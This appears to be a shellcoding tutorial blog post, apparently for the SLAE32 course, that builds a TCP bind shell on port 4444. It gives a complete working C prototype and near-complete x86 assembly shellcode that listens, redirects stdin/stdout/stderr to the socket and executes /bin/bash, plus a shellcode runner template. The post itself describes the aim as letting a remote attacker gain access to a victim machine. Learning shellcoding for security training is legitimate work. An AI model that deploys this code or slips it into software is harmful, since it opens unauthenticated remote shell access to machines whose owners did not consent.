Introduction

In this post we are going to write a TCP bind shell in x86 assembly. A bind shell consists in a listener that waits for connections on a particular port. When a connection is received, a new shell is spawned. That means that a remote attacker can gain access to a victim machine, just by connecting to that listener.

TCP Bind Shell - C Prototype

Before diving into shellcoding in assembly, let’s gain a better understanding of how a bind shell works, by writing a simple prototype in C, and translate to code all the operations outlined above.

The bind shell should be able to perform the following operations:

  1. creating a socket
  2. binding the socket to an IP address and TCP port
  3. listening for incoming connections
  4. redirecting stdin, stdout and stderr buffers to the socket
  5. spawning a shell (i.e. /bin/bash)

Prototype code

Below is the code for the prototype, with comments added to describe what each group of instruction is for.

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>


int main() {

    int sock_fd;
    int conn_fd;
    int status_code;

    // Create addr struct to hold IP address and port
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;                  // IPv4 address
    addr.sin_port = htons(4444);                // htons() to convert to network byte order
    addr.sin_addr.s_addr = htonl(INADDR_ANY);   // INADDR_ANY = NULL for 0.0.0.0 (all interfaces)


    // 1. Create TCP socket
    sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if (sock_fd == -1) {
        fprintf(stderr, "[!] Error. Cannot create the socket\n");
        exit(EXIT_FAILURE);
    }

    // 2. Bind socket to IP address:port
    status_code = bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr));
    if (status_code == -1) {
        fprintf(stderr, "[!] Error. Cannot bind socket to the specified IP and port\n");
        exit(EXIT_FAILURE);
    }

    // 3. Listen for incoming connections
    status_code = listen(sock_fd, 0);
    if (status_code == -1) {
        fprintf(stderr, "[!] Error. Cannot listen for incoming connections\n");
        exit(EXIT_FAILURE);
    }

    // 4. Accept connection (blocking call)
    conn_fd = accept(sock_fd, NULL, NULL);
    if (conn_fd == -1) {
        fprintf(stderr, "[!] Error. Cannot accept incoming connections\n");
        exit(EXIT_FAILURE);
    }

    // 5. Redirect stdin(0), stdout(1), stderr(2) to socket
    dup2(conn_fd, 0);
    dup2(conn_fd, 1);
    dup2(conn_fd, 2);

    // 6. Exec bash shell
    execve("/bin/bash", NULL, NULL);
}

Compiling and testing the prototype

The C prototype can be compiled using gcc:

$ gcc -w -O2 -o shell_bind_tcp shell_bind_tcp.c

Now we can run the executable, open a new terminal split, and try to connect to the socket using ncat to make sure that everything works as expected.

Writing the shellcode

With the C prototype as reference, we can go over each instruction group, and translate them to the corresponding assembly code.

Since the bind shell is all about socket operations, a super important instruction in x86 Linux architectures is the socketcall system call. We can read more about it with man socketcall:

NAME
    socketcall - socket system calls

SYNOPSIS
    #include <linux/net.h>

    int socketcall(int call, unsigned long *args);

DESCRIPTION
    socketcall()  is  a  common kernel entry point for the socket system calls.
    call determines which socket function to invoke.  args points to a block containing
    the actual arguments, which are passed through to the appropriate call.

    ...[snippet]...

The socketcall syscall is basically a wrapper around all socket operations. Depending on the specific operations we need to invoke, we can assign its code to the EBX register, which corresponds to the first argument passed to the socketcall function.

For all the other arguments, we can push them to the stack in reverse order, and assign a reference to the top of the stack (ESP) to the ECX register.

The code for each specific operation are defined in /usr/include/linux/net.h. The one we need to insert in our shellcode are the following:

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */

Shellcode analysis

Clean registers

The first thing that needs to be done is clearing out the registers. To avoid null bytes, we can use the XOR each register with itself.

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

Create sockaddr_in struct

Using man 7 ip command, we can peak at the definition of the sockaddr_in and in_addr structs.

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};
struct in_addr {
    uint32_t       s_addr;     /* address in network byte order */
};

Going back to the assembly, we need to create the sockaddr_in struct on the stack. Since the sockaddr_in struct needs to be 16 bytes in total, we first need to push 8 bytes of padding, followed by:

  • the IPv4 address (0.0.0.0 in this case to bind the port to all interfaces)
  • the TCP port 4444 (0x5c11 in little endian order)
  • the code for an IPv4 socket (AF_INET)
push eax            ; NULL (4 bytes of padding)
push eax            ; NULL (4 bytes of padding)
push eax            ; s_addr = 0.0.0.0
push word 0x5c11    ; port 4444 (network byte order)
push word 0x02      ; AF_INET for IPv4 socket (from /usr/include/bits/socket.h)
mov esi, esp

Create socket

int socketcall(int call, unsigned long *args);
sock_fd = socket(int socket_family, int socket_type, int protocol);

Once the sockaddr_in struct has been pushed on the stack, we can proceed with creating the socket, using the SYS_SOCKET (code 0x01 in EBX) call via the sys_socketcall system call (code 0x66 in EAX). We can then push all the values needed to create the socket on the stack in reverse order, and move the address of the top of the stack to ECX.

mov al, 0x66        ; sys_socketcall
mov bl, 0x1         ; SYS_SOCKET call
push edx            ; 3rd arg: int protocol = IPPROTO_IP = 0
push 0x01           ; 2nd arg: int type = SOCK_STREAM (from /usr/include/bits/socket_type.h)
push 0x02           ; 1st arg: int domain = AF_INET
mov ecx, esp        ; pointer to args on stack
int 0x80
mov edi, eax        ; store socket file descriptor (int sock_fd) in edi

The syscall returns the socket file descriptor in EAX. We can store a copy of it into EDI so that we can use it later.

Socket bind

int socketcall(int call, unsigned long *args);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Next we need to invoke the SYS_BIND syscall in order to bind the socket to the IPv4 address and port defined previously with the sockaddr_in struct. The bind can also be made via the sys_socketcall system call (code 0x66 in EAX), by moving its code into EBX (0x02). Once again the arguments for the call needs to be pushed to the stack from right to left, and a reference to them (top of the stack) needs to be assigned to ECX.

mov al, 0x66        ; sys_socketcall
mov bl, 0x2         ; SYS_BIND call
push 0x10           ; 3rd arg: socklen_t addrlen = 16 bytes
push esi            ; 2nd arg: sockaddr struct = pointer to addr struct
push edi            ; 1st arg = socket file descriptor (int sock_fd)
mov ecx, esp        ; pointer to args on stack
int 0x80

Listen for incoming connections

int socketcall(int call, unsigned long *args);
int listen(int sockfd, int backlog);

We can listen for the incoming connection the SYS_LISTEN call (code 0x04 in EBX). For the listen() function, we can ignore the backlog argument, and push a null value followed by the value of the socket file descriptor, we previously stored in EDI.

mov al, 0x66        ; sys_socketcall
mov bl, 0x4         ; SYS_LISTEN call
push edx            ; 2nd arg = NULL
push edi            ; 1st arg = socket file descriptor (int sock_fd)
mov ecx, esp
int 0x80

Accept connection

int socketcall(int call, unsigned long *args);
int conn_fd = accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

The socket is now ready to listen for an incoming connection. The next step in the process is accepting the incoming connection, via the SYS_ACCEPT call, and get a new file handler for the accepted connection. For the accept() function we can just push two null values for socklen_t and sockaddr, since we don’t need to specify that info upfront, for the connecting client, and the value of the socket file descriptor.

mov al, 0x66        ; sys_socketcall
mov bl, 0x5         ; SYS_ACCEPT call
push edx            ; 3rd arg = NULL
push edx            ; 2nd arg = NULL
push edi            ; 1st arg: socket file descriptor (int sock_fd)
mov ecx, esp
int 0x80
mov edi, eax        ; store connection file descriptor (int sock_fd)

We can store the connection handler, returned by SYS_ACCEPT in EAX, into EDI.

Redirect buffers

int dup2(int oldfd, int newfd);

With a simple loop, we can redirect stdin,stdout and stderr buffers to the connection file descriptor, we previously moved into EDX, via the sys_dup2 system call (code 0x3f in EAX), which expects stdin,stdout, and stderr file descriptors in ECX, and the connection file descriptor (int conn_fd) in EBX.

xor ecx, ecx        ; ecx used as counter and file descriptor number (0,1,2)
mov cl, 0x02
mov ebx, edi        ; 1st arg in EBX = connection file descriptor (int fd)

io_redirect:
mov al, 0x3f        ; sys_dup2 call
int 0x80
dec ecx
jns io_redirect     ; keep looping while ecx >= 0

Spawn shell

int execve(const char *filename, char *const argv[], char *const envp[]);

Finally, after redirecting the I/O we can push to the stack the arguments for the execve system call (0xb code in EAX), and spawn a shell on the victim machine.

First we need to push the /bin/bash string in reverse, terminated by a random character (A in this case), so that we can use ESP to reference it and replace the A with a null, using AL. This way we don’t introduce any null bytes in the shellcode. With the null terminated string on the stack, we can move a reference to it (top of the stack, ESP) to EBX. Next, we just increment ECX (from -1 to 0), so that both ECX (argv[]) and EDX (envp[]) are null.

push 0x41687361         ; 'Ahsa'
push 0x622f6e69         ; 'b/ni'
push 0x622f2f2f         ; 'b///'

xor eax, eax
mov [esp+11], al        ; replace "A" with null so that the string is null-terminated

mov ebx, esp            ; 1st arg (EBX): pointer to "/bin/bash,0x00" string on stack
inc ecx                 ; 2nd arg (ECX): char *const argv[] = NULL
                        ; 3rd arg (EDX) char *const envp[] = NULL
mov al, 0xb             ; sys_execve call
int 0x80

Compiling and running the shellcode

Now we need to compile and link the assembly code using nasm and ld. Next we can extract the opcodes using objdump (plus some bash fu), and add them to the following shellcode runner template.

#include <stdio.h>

const unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\ [...]";

int main() {
    int (*ret)() = (int(*)())code;
    printf("Shellcode length: %d bytes\n", (int)sizeof(code));
    ret();
}

To avoid having to type the commands each time, we can automate the process with a bash script, and run the compiled executable afterwards:

Wrapping Up

In this post we have created the shellcode for a simple bind shell. In the next one we’ll be writing the shellcode for a reverse one.

If you want to check out the shellcode created to complete this assignmnet, have a look at the following slae32 repository in my Github.